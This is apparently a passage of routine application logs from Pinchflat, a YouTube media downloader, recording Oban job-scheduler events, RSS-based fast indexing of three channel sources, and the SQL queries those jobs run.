{"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:56.877 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.593 [info] {"source":"oban","duration":107,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:26.878 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:56.879 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.594 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:26.880 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:56.881 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.595 [info] {"source":"oban","duration":117,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:26.882 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:56.883 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.596 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:26.884 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:56.885 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.597 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:26.886 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:56.887 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.598 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:26.888 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:56.889 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.599 [info] {"source":"oban","duration":115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:26.890 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:56.891 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.601 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:26.892 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:56.893 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.602 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:26.894 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:46.701 [info] {"args":{"id":2},"id":666,"meta":{},"system_time":1784902846701200502,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:20:46.701 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1925.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:20:46.701 [debug] QUERY OK source="settings" db=0.0ms idle=1008.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:20:46.701 [debug] QUERY OK source="tasks" db=0.3ms idle=1925.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:20:46.701 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:20:46.702 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:20:46.702 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:20:46.702 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 14:20:46.981 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:20:46.982 [debug] QUERY OK source="media_items" db=0.2ms idle=280.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:20:46.982 [debug] QUERY OK source="media_items" db=0.2ms idle=280.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 14:20:46.983 [debug] QUERY OK source="tasks" db=0.0ms idle=280.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [669, 2, ~U[2026-07-24 14:20:46Z], ~U[2026-07-24 14:20:46Z]] 14:20:46.983 [info] {"args":{"id":2},"id":666,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":282147,"event":"job:stop","queue_time":359761,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:20:46.983 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:20:56.895 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.602 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:00.715 [info] {"args":{"id":1},"id":667,"meta":{},"system_time":1784902860715161316,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:21:00.715 [debug] QUERY OK source="sources" db=0.1ms idle=1939.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:21:00.715 [debug] QUERY OK source="tasks" db=0.1ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:21:00.715 [debug] QUERY OK source="settings" db=0.1ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:21:00.715 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:21:00.715 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:21:00.715 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:21:00.715 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 14:21:00.921 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:21:00.921 [debug] QUERY OK source="media_items" db=0.3ms idle=205.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:21:00.925 [debug] QUERY OK source="media_items" db=3.8ms idle=206.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:21:00.926 [debug] QUERY OK source="tasks" db=0.0ms idle=210.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [670, 1, ~U[2026-07-24 14:21:00Z], ~U[2026-07-24 14:21:00Z]] 14:21:00.926 [info] {"args":{"id":1},"id":667,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":211560,"event":"job:stop","queue_time":537940,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:21:00.927 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:21:15.730 [info] {"args":{"id":3},"id":668,"meta":{},"system_time":1784902875730051559,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:21:15.730 [debug] QUERY OK source="sources" db=0.1ms idle=954.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:21:15.730 [debug] QUERY OK source="tasks" db=0.1ms idle=954.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:21:15.730 [debug] QUERY OK source="settings" db=0.0ms idle=954.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:21:15.730 [debug] QUERY OK source="sources" db=0.0ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:21:15.730 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:21:15.730 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:21:15.731 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 14:21:15.759 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:21:15.759 [debug] QUERY OK source="media_items" db=0.2ms idle=28.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:21:15.761 [debug] QUERY OK source="media_items" db=1.7ms idle=29.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 14:21:15.762 [debug] QUERY OK source="tasks" db=0.0ms idle=31.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [671, 3, ~U[2026-07-24 14:21:15Z], ~U[2026-07-24 14:21:15Z]] 14:21:15.762 [info] {"args":{"id":3},"id":668,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32270,"event":"job:stop","queue_time":429382,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:21:15.763 [debug] QUERY OK source="tasks" db=0.4ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:21:26.896 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:56.897 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.603 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:26.898 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:56.899 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.605 [info] 